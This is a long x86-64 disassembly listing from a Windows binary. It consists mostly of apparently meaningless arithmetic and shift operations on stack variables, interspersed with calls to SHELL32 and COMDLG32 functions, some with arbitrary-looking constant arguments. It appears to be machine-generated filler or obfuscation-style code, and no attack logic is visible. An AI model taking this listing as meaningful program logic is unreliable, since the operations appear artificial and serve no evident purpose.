mov rcx, qword [rsp + 0xd860]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9528], rax
mov rax, qword [rsp + 0xfa60]
movsx eax, word [rax]
mov rcx, qword [0x14019f2d0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2cd4], ax
mov eax, dword [rsp + 0x70e4]
mov dword [rsp + 0x7224], eax
mov rax, qword [rsp + 0xe500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xed80]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x57e], al
mov rax, qword [0x14019f120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf4b0]
mov qword [rsp + 0xfb40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfb40]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xf228]
mov qword [rcx], rax
lea rax, [rsp + 0x39a]
mov qword [rsp + 0xfb48], rax
mov rax, qword [rsp + 0xda60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6920]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xf098]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1878]
mov rcx, qword [0x14019f088]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019f6e4], ax
movzx eax, word [rsp + 0x302c]
mov word [rsp + 0x31e4], ax
mov rax, qword [rsp + 0xecb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xebb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x305c], ax
mov rax, qword [rsp + 0xd2a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14019d2a8]
shl rax, cl
mov qword [rsp + 0xa160], rax
lea rdx, [rsp + 0xf9d0]
lea rcx, [rsp + 0xce10]
call qword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [rsp + 0x7228], eax
mov rax, qword [rsp + 0xedf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7068]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5d2c], eax
movsx eax, byte [rsp + 0x5cd]
movsx ecx, byte [0x14019ef96]
sar eax, cl
mov byte [rsp + 0x26c], al
mov rax, qword [rsp + 0xeb40]
mov qword [rsp + 0xfb50], rax
mov rcx, qword [rsp + 0xdf60]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0xcf98], rax
mov rax, qword [rsp + 0xd420]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf700]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b40], ax
movzx eax, word [rsp + 0x1fec]
movzx ecx, word [0x14019f1cc]
sub eax, ecx
mov word [rsp + 0x1a40], ax
mov rax, qword [rsp + 0xe710]
mov qword [0x14019f740], rax
mov rax, qword [rsp + 0xf248]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x24fc]
xor eax, ecx
mov word [rsp + 0x2c3c], ax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb138], rax
mov rax, qword [rsp + 0xf480]
mov rax, qword [rax]
mov qword [rsp + 0xfb58], rax
mov eax, dword [rsp + 0x6d84]
mov ecx, dword [rsp + 0x6ebc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ff8], eax
mov rax, qword [rsp + 0xe278]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe5a0]
mov qword [rsp + 0xfb60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfb60]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa860], rax
mov rax, qword [rsp + 0xda60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xedf8]
mov qword [rsp + 0xfb68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfb68]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6d90], eax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [0x14019d010]
sub eax, ecx
mov byte [rsp + 0x5a0], al
mov rax, qword [rsp + 0xf318]
movzx eax, byte [rax]
mov byte [rsp + 0x5dc], al
mov rax, qword [rsp + 0xd898]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xed08]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d380], ax
movsx eax, word [rsp + 0x2b78]
mov rcx, qword [rsp + 0xf780]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1578], ax
lea rax, [rsp + 0xdb0]
mov qword [rsp + 0xfb70], rax
mov rax, qword [rsp + 0xe4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x312c]
sub eax, ecx
mov word [rsp + 0x2d58], ax
mov rax, qword [rsp + 0xf568]
mov rcx, qword [rsp + 0xfb30]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0f0], rax
movzx eax, byte [rsp + 0x564]
mov byte [rsp + 0x5dd], al
mov rax, qword [rsp + 0xe6e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xda70]
mov qword [rsp + 0xfb78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfb78]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x7064], eax
movsx eax, word [rsp + 0xc28]
mov rcx, qword [rsp + 0xe558]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2514], ax
mov rax, qword [rsp + 0xf848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2894], ax
mov rax, qword [rsp + 0xf038]
mov rcx, qword [rsp + 0xeb70]
add rcx, rax
mov rax, rcx
mov qword [0x14019d100], rax
mov rax, qword [rsp + 0xd890]
mov rcx, qword [rsp + 0xd6a0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9690], rax
mov rax, qword [rsp + 0xeb38]
mov rax, qword [rax]
mov qword [rsp + 0xfb80], rax
mov rax, qword [rsp + 0xda20]
mov rcx, qword [0x14019f358]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa830], rax
movzx eax, word [rsp + 0x2a3c]
mov rcx, qword [rsp + 0xd8b0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x21a8], ax
mov rax, qword [rsp + 0xf138]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3f0]
sar eax, cl
mov byte [rsp + 0x581], al
mov eax, dword [0x14019efa8]
mov dword [rsp + 0x722c], eax
movsx eax, byte [rsp + 0x2fb]
movsx ecx, byte [rsp + 0x5d1]
or eax, ecx
mov byte [rsp + 0x5bc], al
mov rax, qword [rsp + 0xedf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6de8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd0], eax
mov rax, qword [0x14019f3b0]
mov rcx, qword [rsp + 0xef78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14019f1d8], rax
lea rcx, [rsp + 0x20930]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [rsp + 0x70d4], eax
mov rax, qword [rsp + 0xce08]
movzx eax, word [rax]
mov word [rsp + 0x31e8], ax
movsx eax, word [rsp + 0x2b44]
movsx ecx, word [rsp + 0x2e30]
add eax, ecx
mov word [rsp + 0x171c], ax
movzx eax, word [rsp + 0x2d94]
movzx ecx, word [rsp + 0x2da8]
add eax, ecx
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0xf270]
mov rcx, qword [rsp + 0xef98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xf918], rax
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
mov rcx, qword [0x14019f0f8]
mov qword [rsp + 0xfb88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfb88]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa700], rax
mov rax, qword [rsp + 0xdd00]
mov eax, dword [rax]
mov dword [rsp + 0x7230], eax
mov rax, qword [rsp + 0xf440]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x362]
sar eax, cl
mov byte [rsp + 0x26b], al
movsx eax, word [0x14019f29c]
mov rcx, qword [rsp + 0xd7b8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xd5c], ax
movzx eax, word [rsp + 0x20dc]
mov word [0x14019f748], ax
mov rax, qword [rsp + 0xd3c8]
mov rcx, qword [rsp + 0xb860]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xe130], rax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2728]
and eax, ecx
mov word [rsp + 0x10d4], ax
mov dword [rsp + 0x20], 0x39
mov r9d, 0xd5
lea r8, [rsp + 0x21150]
mov edx, 0xed
mov rcx, qword [rsp + 0xcde8]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x7234], eax
mov eax, dword [rsp + 0x6e50]
mov dword [rsp + 0x7238], eax
mov rax, qword [rsp + 0xf050]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe578]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a2], al
lea rax, [rsp + 0x347]
mov qword [rsp + 0xfb90], rax
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd390]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xedd8], rax
mov eax, dword [rsp + 0x6d84]
mov dword [rsp + 0x723c], eax
movsx eax, word [0x14019f0f0]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd750]
mov word [rcx], ax
mov rax, qword [rsp + 0xead0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdbd0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019f090], ax
mov rax, qword [0x14019f2c0]
mov rcx, qword [rsp + 0xf4d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd768], rax
mov rax, qword [rsp + 0xedb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd848]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc5a0], rax
mov rax, qword [rsp + 0xde08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe1b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b6c], ax
mov rax, qword [rsp + 0xf210]
movzx eax, word [rax]
mov word [rsp + 0x31ec], ax
mov rax, qword [rsp + 0xfa48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4d4]
add eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0xd960]
mov rcx, qword [rsp + 0xdfa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5e9c], eax
mov rax, qword [rsp + 0xf920]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf200]
mov qword [rsp + 0xfb98], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfb98]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x99d0], rax
mov rax, qword [rsp + 0xec20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe2f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xf1e0], rax
lea rax, [rsp + 0x20f4]
mov qword [0x14019f750], rax
movzx eax, word [rsp + 0x2fd0]
mov word [rsp + 0x31f0], ax
movzx eax, byte [rsp + 0x55d]
movzx ecx, byte [rsp + 0x552]
xor eax, ecx
mov byte [rsp + 0x5a0], al
mov rax, qword [rsp + 0xe7b0]
mov rcx, qword [rsp + 0xea58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5e24], eax
mov rax, qword [rsp + 0xdbc0]
movzx ecx, al
mov rax, qword [rsp + 0xad58]
shl rax, cl
mov qword [rsp + 0x9728], rax
mov rax, qword [rsp + 0xeef0]
mov rcx, qword [rsp + 0xf048]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd8e0], rax
lea rax, [rsp + 0x59c]
mov qword [rsp + 0xfba0], rax
mov rax, qword [rsp + 0xd3d8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7040]
shr eax, cl
mov dword [rsp + 0x7168], eax
movsx eax, word [rsp + 0x252c]
movsx ecx, word [rsp + 0x2cf4]
shl eax, cl
mov word [rsp + 0x1dfc], ax
mov rax, qword [rsp + 0xe458]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ee8]
or eax, ecx
mov word [0x14019f3c0], ax
mov rax, qword [rsp + 0xd890]
mov rax, qword [rax]
mov qword [rsp + 0xfba8], rax
mov rax, qword [rsp + 0xeb88]
movzx eax, word [rax]
mov rcx, qword [0x14019f510]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e48], ax
movzx eax, word [rsp + 0x1254]
mov word [rsp + 0x31f4], ax
mov rax, qword [rsp + 0xd590]
mov rcx, qword [rsp + 0xc8e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf80], rax
lea rax, [rsp + 0x6efc]
mov qword [rsp + 0xfbb0], rax
mov rax, qword [0x14019f180]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57d]
add eax, ecx
mov byte [rsp + 0x55f], al
mov rax, qword [rsp + 0xe880]
mov rcx, qword [rsp + 0xd5e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xebc8], rax
movzx eax, word [rsp + 0x2e0c]
mov rcx, qword [rsp + 0xe2a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x24e8], ax
lea rax, [rsp + 0xbce8]
mov qword [0x14019f758], rax
lea rdx, [rsp + 0x200e0]
lea rcx, [rsp + 0x1e430]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0xd7c8], rax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5bb]
add eax, ecx
mov byte [rsp + 0x5ad], al
mov eax, dword [rsp + 0x722c]
mov dword [rsp + 0x7240], eax
mov rax, qword [rsp + 0xe148]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x18e4]
xor eax, ecx
mov word [rsp + 0x283c], ax
movzx eax, word [rsp + 0x1108]
movzx ecx, word [rsp + 0x2dec]
and eax, ecx
mov word [rsp + 0x2c04], ax
mov eax, dword [rsp + 0x6454]
movzx ecx, al
mov eax, dword [0x14019d1dc]
shr eax, cl
mov dword [rsp + 0x5a28], eax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xec28]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2fb], al
lea rcx, [rsp + 0x1e058]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x6fb8], eax
mov rax, qword [rsp + 0xf7e0]
mov qword [rsp + 0xfbb8], rax
mov rax, qword [0x14019f3e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd588]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1624], ax
movzx eax, word [rsp + 0xdb0]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d384], ax
mov rax, qword [0x14019f000]
mov rcx, qword [rsp + 0xdeb0]
mov qword [rsp + 0xfbc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfbc0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xfa08]
mov qword [rcx], rax
mov rax, qword [rsp + 0xda20]
mov rax, qword [rax]
mov qword [rsp + 0xfbc8], rax
mov rax, qword [rsp + 0xdfe8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xf1c0]
shl rax, cl
mov rcx, qword [rsp + 0xdda0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf860]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x24e0], ax
mov eax, dword [rsp + 0x6250]
mov ecx, dword [rsp + 0x5a28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5974], eax
mov rax, qword [rsp + 0xed78]
mov qword [rsp + 0xfbd0], rax
mov rax, qword [rsp + 0xe4b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x439]
sub eax, ecx
mov rcx, qword [rsp + 0xe260]
mov byte [rcx], al
mov rax, qword [rsp + 0xf530]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x62cc], eax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [0x14019d010]
and eax, ecx
mov byte [rsp + 0x1b7], al
movsx eax, word [rsp + 0x2bb8]
mov rcx, qword [rsp + 0xd5b0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x14019d098], ax
mov rax, qword [rsp + 0xecb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xfb70]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xde4], ax
mov rax, qword [0x14019f4d8]
movzx eax, word [rax]
mov word [rsp + 0x31f8], ax
mov rax, qword [rsp + 0xec50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9310]
sar rax, cl
mov qword [rsp + 0xee50], rax
mov rax, qword [rsp + 0xe278]
mov rcx, qword [rsp + 0xe490]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xfbd0], rax
movzx eax, byte [rsp + 0x3a7]
mov byte [rsp + 0x5de], al
mov rax, qword [rsp + 0xd118]
mov ecx, dword [rsp + 0x6d00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x64bc], eax
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d7c]
add eax, ecx
mov word [rsp + 0x1d78], ax
movzx eax, word [rsp + 0x30d0]
movzx ecx, word [rsp + 0x2fe8]
sub eax, ecx
mov word [rsp + 0x3024], ax
mov rax, qword [rsp + 0xf1d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd6d0]
mov qword [rsp + 0xfbd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfbd8]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14019d0c0], rax
movzx eax, word [rsp + 0x2a60]
movzx ecx, word [rsp + 0x2728]
shl eax, cl
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0xe080]
mov rax, qword [rax]
mov qword [rsp + 0xfbe0], rax
mov rax, qword [rsp + 0xdf80]
mov rcx, qword [rsp + 0x9ec8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe10], rax
mov rax, qword [rsp + 0xd210]
mov rcx, qword [0x14019d020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x93a0], rax
movsx eax, byte [rsp + 0x26f]
movsx ecx, byte [rsp + 0x3b2]
sub eax, ecx
mov byte [rsp + 0x50e], al
movzx eax, byte [rsp + 0x51c]
movzx ecx, byte [rsp + 0x507]
and eax, ecx
mov byte [rsp + 0x523], al
mov rax, qword [rsp + 0xd150]
mov eax, dword [rax]
mov dword [rsp + 0x7244], eax
mov rax, qword [rsp + 0xdbd8]
mov ecx, dword [rsp + 0x6e58]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6f40], eax
mov rax, qword [rsp + 0xd770]
movzx eax, word [rax]
mov word [0x14019f760], ax
movzx eax, word [rsp + 0x1be8]
mov word [rsp + 0x31fc], ax
mov rax, qword [rsp + 0xf248]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe2a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x25c0], ax
mov rax, qword [rsp + 0xdbd0]
movzx eax, word [rax]
mov rcx, qword [0x14019f140]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x254c], ax
movsx eax, byte [rsp + 0x3f1]
movsx ecx, byte [rsp + 0x51b]
shl eax, cl
mov byte [rsp + 0x54b], al
mov eax, dword [rsp + 0x7068]
mov ecx, dword [rsp + 0x7190]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6658], eax
mov rax, qword [rsp + 0xeaa8]
mov rax, qword [rax]
mov qword [rsp + 0xfbe8], rax
mov rax, qword [rsp + 0xd7b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28ac]
add eax, ecx
mov word [rsp + 0x1910], ax
mov rax, qword [rsp + 0xe4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d34]
add eax, ecx
mov word [rsp + 0x10d0], ax
mov rax, qword [rsp + 0xd260]
mov rcx, qword [0x14019d040]
sub rcx, rax
mov rax, rcx
mov qword [0x14019f590], rax
mov rax, qword [rsp + 0xdfe8]
mov rcx, qword [rsp + 0xe9c0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe620], rax
mov rax, qword [rsp + 0xe8f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xee38]
shl rax, cl
mov qword [rsp + 0x8fa0], rax
mov rax, qword [rsp + 0xf158]
mov qword [rsp + 0xfbf0], rax
movzx eax, word [rsp + 0x3158]
movzx ecx, word [rsp + 0x12b8]
sar eax, cl
mov word [rsp + 0x2c58], ax
movzx eax, byte [rsp + 0x5bb]
mov rcx, qword [rsp + 0xe578]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x318], al
mov rax, qword [rsp + 0xedf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x70ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64ec], eax
movsx eax, byte [rsp + 0x5c8]
mov rcx, qword [rsp + 0xec38]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x545], al
mov rax, qword [rsp + 0xde78]
mov eax, dword [rax]
mov dword [rsp + 0x7248], eax
mov rax, qword [rsp + 0xde80]
mov qword [0x14019f768], rax
mov rax, qword [rsp + 0xed08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2cc0]
xor eax, ecx
mov word [rsp + 0x26ec], ax
mov rax, qword [rsp + 0xd898]
movzx eax, word [rax]
mov word [rsp + 0x3200], ax
mov rax, qword [rsp + 0xe4a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3110]
sub eax, ecx
mov rcx, qword [rsp + 0xdf98]
mov word [rcx], ax
mov rax, qword [0x14019f0d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe2f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xfbc8], rax
lea rax, [rsp + 0xa610]
mov qword [rsp + 0xfbf8], rax
mov rax, qword [rsp + 0xf558]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a5]
sar eax, cl
mov byte [rsp + 0x595], al
mov rax, qword [0x14019f488]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x714c]
shl eax, cl
mov dword [rsp + 0x6158], eax
mov rax, qword [rsp + 0xe348]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2e30]
sub eax, ecx
mov rcx, qword [rsp + 0xd5b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xee18]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d388], ax
mov rax, qword [rsp + 0xd738]
mov qword [rsp + 0xfc00], rax
movzx eax, word [rsp + 0x2f10]
mov rcx, qword [rsp + 0xf4b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14a0], ax
mov rax, qword [rsp + 0xdd98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd9e0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4e8], al
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xf098]
mov qword [rsp + 0xfc08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfc08]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x68c0], eax
mov rax, qword [rsp + 0xeef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd858]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc48], rax
lea rax, [rsp + 0x7140]
mov qword [rsp + 0xfc10], rax
movsx eax, byte [0x14019ef9a]
movsx ecx, byte [rsp + 0x346]
and eax, ecx
mov rcx, qword [rsp + 0xf0f0]
mov byte [rcx], al
movsx eax, word [rsp + 0x2b78]
mov rcx, qword [rsp + 0xdcf8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x162c], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b14]
sub eax, ecx
mov word [str.L_nbT], ax
mov rax, qword [rsp + 0x9280]
mov qword [rsp + 0xfc18], rax
mov rax, qword [rsp + 0xf8b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xac20]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd2e0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xf1b8]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [rsp + 0x724c], eax
mov rax, qword [0x14019f028]
movzx eax, word [rax]
mov word [rsp + 0x3204], ax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xe930]
mov word [rcx], ax
mov rax, qword [rsp + 0xeaa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xef78]
mov qword [rsp + 0xfc20], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfc20]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xd4c8], rax
lea rax, [0x14019f428]
mov qword [rsp + 0xfc28], rax
mov rax, qword [rsp + 0xeb18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe260]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xf0f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xe378]
mov rcx, qword [rsp + 0xdd68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9678], rax
lea rax, [rsp + 0x1248]
mov qword [0x14019f770], rax
movzx eax, word [rsp + 0x1ba0]
movzx ecx, word [rsp + 0x305c]
add eax, ecx
mov word [rsp + 0x1b34], ax
mov rax, qword [rsp + 0xea58]
mov eax, dword [rax]
mov dword [rsp + 0x7250], eax
movzx eax, byte [rsp + 0x4fa]
mov rcx, qword [rsp + 0xdc50]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xf138]
mov byte [rcx], al
mov rax, qword [rsp + 0xf1d0]
mov rcx, qword [rsp + 0xe4d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xed28], rax
mov rax, qword [rsp + 0xd218]
movsx eax, byte [rax]
mov rcx, qword [0x14019f320]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x161], al
mov rax, qword [rsp + 0xf830]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xeba0]
mov qword [rsp + 0xfc30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfc30]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xd338]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe6a8]
mov qword [rsp + 0xfc38], rax
mov rax, qword [rsp + 0xda00]
movsx eax, word [rax]
mov rcx, qword [0x14019f5b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1810], ax
movzx eax, word [rsp + 0x2da4]
mov rcx, qword [rsp + 0xd8b0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14019f538]
mov word [rcx], ax
mov rax, qword [rsp + 0xb388]
mov rcx, qword [rsp + 0xf8a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xae70], rax
mov rax, qword [rsp + 0xebb8]
movzx eax, word [rax]
mov word [rsp + 0x3208], ax
movsx eax, word [rsp + 0x1bb4]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3148], ax
mov rax, qword [rsp + 0xd650]
mov rcx, qword [0x14019f4b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8f70], rax
mov r9d, 0x6e
mov r8, qword [rsp + 0xfc40]
lea rdx, [rsp + 0xf9d0]
mov rcx, qword [rsp + 0xd7e8]
call qword [sym.imp.SHELL32.dll_SHPathPrepareForWriteW]
mov dword [rsp + 0x7024], eax
mov rax, qword [rsp + 0xddc8]
mov rcx, qword [rsp + 0xdc60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6e18], eax
movsx eax, byte [rsp + 0x597]
mov rcx, qword [rsp + 0xf8e0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x575], al
lea rax, [rsp + 0xf608]
mov qword [rsp + 0xfc48], rax
movzx eax, word [rsp + 0x2f0c]
mov rcx, qword [rsp + 0xd630]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2ac8], ax
mov rax, qword [rsp + 0x9b98]
mov rcx, qword [rsp + 0xe648]
or rcx, rax
mov rax, rcx
mov qword [0x14019f690], rax
mov rax, qword [rsp + 0xe440]
movzx eax, byte [rax]
mov byte [rsp + 0x5df], al
mov rax, qword [rsp + 0xe708]
mov rcx, qword [rsp + 0xf2d8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6f18], eax
